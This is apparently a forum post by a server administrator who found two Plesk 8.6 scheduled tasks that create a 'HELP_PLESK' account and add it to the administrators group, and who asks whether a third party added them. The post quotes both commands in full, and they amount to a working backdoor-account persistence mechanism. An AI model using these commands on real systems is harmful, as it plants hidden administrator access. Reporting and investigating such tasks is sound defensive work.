Suspicious Plesk scheduled task

[Inspiring]

Hi All,

I have noticed that there is two scheduled task from Plesk that is scheduled to run every midnight (Plesk 8.6):


===================

Plesk Scheduler Task #56974aa80611c7ea2f93f0617354d813

C:\WINDOWS\system32\cmd.exe /c ""C:\Program Files\Parallels\Plesk\admin\bin\runtask.exe" --defaultmail "--application=net.exe" "--parameters=user HELP_PLESK apassword /add""

Plesk Scheduler Task #5ff893fff01088772737ca70b1fef982

C:\WINDOWS\system32\cmd.exe /c ""C:\Program Files\Parallels\Plesk\admin\bin\runtask.exe" --defaultmail "--application=net.exe" "--parameters=localgroup administrators HELP_PLESK /add""

===================

Both of the task is added to the system the same time as other Plesk scheduled tasks such as statistics.exe


I have tested to login as this new user created via remote desktop, and I was granted full administrator right...

Does anyone have the above two scheduled tasks? Or do you think that these two tasks is added by third party?
